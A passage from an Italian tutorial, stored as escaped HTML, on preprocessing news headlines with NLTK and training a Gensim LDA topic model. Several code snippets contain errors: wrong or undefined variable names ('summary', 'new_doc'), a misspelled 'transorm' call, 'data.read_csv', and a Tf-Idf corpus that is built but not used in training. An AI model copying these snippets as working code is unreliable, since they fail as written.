&lt;a href=&quot;https://www.nltk.org/api/nltk.tokenize.html&quot;&gt;Tokenizer&lt;/a&gt; della libreria NLTK.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nltk.download(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;punkt&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;tokenize&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = nltk.word_tokenize(text)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Tokenizzazione&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4 id=&quot;2-eliminazione-delle-stopword&quot;&gt;2. Eliminazione delle stopword&lt;/h4&gt;&lt;p&gt;Le &lt;a href=&quot;https://en.wikipedia.org/wiki/Stop_word&quot;&gt;stopword&lt;/a&gt; in un task come il Topic Modelling vanno eliminate, poiché non rappresenteranno in alcun modo
informazione rilevante per l&amp;#x27;individuazione e la descrizione dei topic.&lt;br/&gt;
Utilizziamo le stopword definite dalla libreria NLTK e definiamo una funzione che specifica se un token è una stopword.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nltk.download(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;stopwords&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;en_stop = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(nltk.corpus.stopwords.words(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;english&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;is_stopwords&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; en_stop:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;False&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Eliminazione delle stopword&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4 id=&quot;3-lemmatizzazione&quot;&gt;3. Lemmatizzazione&lt;/h4&gt;&lt;p&gt;Risulta molto utile ricondurre ogni token di ogni documento alla propria radice. In caso contrario avremo token sintatticamente diversi,
ma che esprimono lo stesso concetto semantico.&lt;br/&gt;
Per effettuare questo processo definiamo una funzione che ritorna la radice di una parola, e per farlo utilizziamo la versione NLTK dello
Stemmer &lt;a href=&quot;http://www.nltk.org/_modules/nltk/stem/wordnet.html&quot;&gt;WordNetLemmatizer&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nltk.download(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wordnet&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.stem.wordnet &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; WordNetLemmatizer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;get_lemma&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; WordNetLemmatizer().lemmatize(token)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 3 - Lemmatizzazione&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Mettiamo tutto insieme in un&amp;#x27;unica funzione che verrà utilizzata per la trasformazione di ogni contenuto del dataset. &lt;br/&gt;
In aggiunta alle operazioni sopra indicate trasformiamo in carattere minuscolo ogni token e eliminiamo quelli
di lunghezza minore o uguale a 3.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = tokenize(summary)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = [token.lower() &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = [token &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(token) &amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = [token &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; en_stop]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = [get_lemma(token) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 4 - Funzione per la trasformazione dei dati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A questo punto possiamo leggere il contenuto del nostro file csv, estrarre i titoli in una lista e trasformare ogni contenuto
nella forma desiderata.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;data.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;../data/data.csv&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;text_list = data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;headline&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;cleaned_summary_list = [transorm(element) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; element &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text_list]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 5 - Lettura e trasformazione dei dati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h1 id=&quot;lda-con-gensim&quot;&gt;LDA con Gensim&lt;/h1&gt;&lt;h3 id=&quot;dizionario-e-corpus-vettoriale&quot;&gt;Dizionario e Corpus vettoriale&lt;/h3&gt;&lt;p&gt;Per costruire il nostro Topic Model utilizziamo l&amp;#x27;implementazione della tecnica LDA della libreria Gensim. &lt;br/&gt;
Come primo passo costruiamo un vocabolario partendo dai nostri dati trasformati. Segue la trasformazione dei dati
in un &lt;strong&gt;modello vettoriale&lt;/strong&gt; di tipo &lt;a href=&quot;https://it.wikipedia.org/wiki/Tf-idf&quot;&gt;Tf-Idf&lt;/a&gt;.&lt;br/&gt;
Salviamo il dizionario e il corpus per utilizzi futuri.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;dictionary = corpora.Dictionary(cleaned_summary_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;corpus = [dictionary.doc2bow(text) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; cleaned_summary_list]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tfidf = models.TfidfModel(corpus)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;corpus_tfidf = tfidf[corpus]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pickle.dump(corpus_tfidf, &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;../models/corpus.pkl&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;dictionary.save(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;../models/dictionary.gensim&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 6 - Dizionario e Corpus vettoriale&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;addestramento-del-modello&quot;&gt;Addestramento del modello&lt;/h3&gt;&lt;p&gt;Trasformato il nostro corpus, passiamo all&amp;#x27;addestramento del Topic Model.&lt;/p&gt;&lt;p&gt;Nell&amp;#x27;applicazione della tecnica LDA, tra i diversi parametri che possono essere specificati, ve ne sono alcuni di maggiore
rilevanza:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;corpus&lt;/strong&gt;: Corpus vettoriale di documenti da utilizzare per il training&lt;/li&gt;&lt;li&gt;&lt;strong&gt;num_topics &lt;/strong&gt;: Numero di topic da estrarre&lt;/li&gt;&lt;li&gt;&lt;strong&gt;id2word &lt;/strong&gt;: Dizionario che definisce il mapping degli id con le parole&lt;/li&gt;&lt;li&gt;&lt;strong&gt;passes &lt;/strong&gt;: Numero di passaggi attraverso l&amp;#x27;intero corpus durante il training&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Vi sono altri parametri che per semplicità non specifichiamo e per i quali utilizziamo i valori di default.&lt;/p&gt;&lt;p&gt;Per tutte le informazioni circa il modello LDA, consultare il document &lt;a href=&quot;https://radimrehurek.com/gensim/models/ldamodel.html&quot;&gt;Latent Dirichlet Allocation&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;A questo punto passiamo ad addestrare il nostro modello.&lt;br/&gt; &lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; gensim&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;num_topics = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ldamodel = gensim.models.ldamodel.LdaModel(corpus, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;num_topics&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=num_topics, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;id2word&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=dictionary, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;passes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ldamodel.save(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;model5.gensim&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 7 - Addestramento del modello&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Terminato l&amp;#x27;addestramento salviamo il modello e stampiamo per ogni topic
individuato una rappresentazione data dalle keyword più rilevanti appartenenti al topic.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;topics = ldamodel.print_topics(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;num_words&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; topic &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; topics:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(topic)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.016*&amp;quot;shooting&amp;quot; + 0.012*&amp;quot;police&amp;quot; + 0.009*&amp;quot;killed&amp;quot; + 0.006*&amp;quot;prison&amp;quot; + 0.006*&amp;quot;photo&amp;quot; + 0.005*&amp;quot;suspect&amp;quot; + 0.005*&amp;quot;school&amp;quot; + 0.005*&amp;quot;arrested&amp;quot; + 0.005*&amp;quot;killing&amp;quot; + 0.005*&amp;quot;olympics&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.023*&amp;quot;apple&amp;quot; + 0.013*&amp;quot;space&amp;quot; + 0.012*&amp;quot;iphone&amp;quot; + 0.011*&amp;quot;photo&amp;quot; + 0.009*&amp;quot;video&amp;quot; + 0.008*&amp;quot;planet&amp;quot; + 0.007*&amp;quot;rumor&amp;quot; + 0.007*&amp;quot;science&amp;quot; + 0.006*&amp;quot;first&amp;quot; + 0.006*&amp;quot;earth&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.009*&amp;quot;found&amp;quot; + 0.007*&amp;quot;allegedly&amp;quot; + 0.007*&amp;quot;police&amp;quot; + 0.007*&amp;quot;woman&amp;quot; + 0.006*&amp;quot;study&amp;quot; + 0.006*&amp;quot;video&amp;quot; + 0.005*&amp;quot;player&amp;quot; + 0.004*&amp;quot;arrested&amp;quot; + 0.004*&amp;quot;football&amp;quot; + 0.004*&amp;quot;google&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.010*&amp;quot;facebook&amp;quot; + 0.010*&amp;quot;state&amp;quot; + 0.008*&amp;quot;video&amp;quot; + 0.006*&amp;quot;people&amp;quot; + 0.006*&amp;quot;world&amp;quot; + 0.006*&amp;quot;google&amp;quot; + 0.006*&amp;quot;final&amp;quot; + 0.005*&amp;quot;tournament&amp;quot; + 0.005*&amp;quot;player&amp;quot; + 0.004*&amp;quot;score&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.053*&amp;quot;video&amp;quot; + 0.015*&amp;quot;watch&amp;quot; + 0.010*&amp;quot;youtube&amp;quot; + 0.007*&amp;quot;show&amp;quot; + 0.005*&amp;quot;photo&amp;quot; + 0.005*&amp;quot;tiger&amp;quot; + 0.005*&amp;quot;world&amp;quot; + 0.005*&amp;quot;touchdown&amp;quot; + 0.004*&amp;quot;study&amp;quot; + 0.004*&amp;quot;lebron&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 8 - Topic individuati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;utilizzo-del-modello-addestrato&quot;&gt;Utilizzo del modello addestrato&lt;/h3&gt;&lt;p&gt;Abbiamo quindi addestrato un Topic Model, e salvato il risultato insieme al corpus e al dizionario. In questo modo possiamo
riutilizzare nel nostro codice il nostro modello per estrarre i topic trattati in un nuovo documento.&lt;br/&gt;
Diamo in input al modello un titolo di test e otteniamo come risultato una distribuzione nello spazio dei topic.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_headline = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Two person murdered in New York&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_headline = transform(new_headline)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_headline_bow = dictionary.doc2bow(new_doc)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ldamodel.get_document_topics(new_doc_bow))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
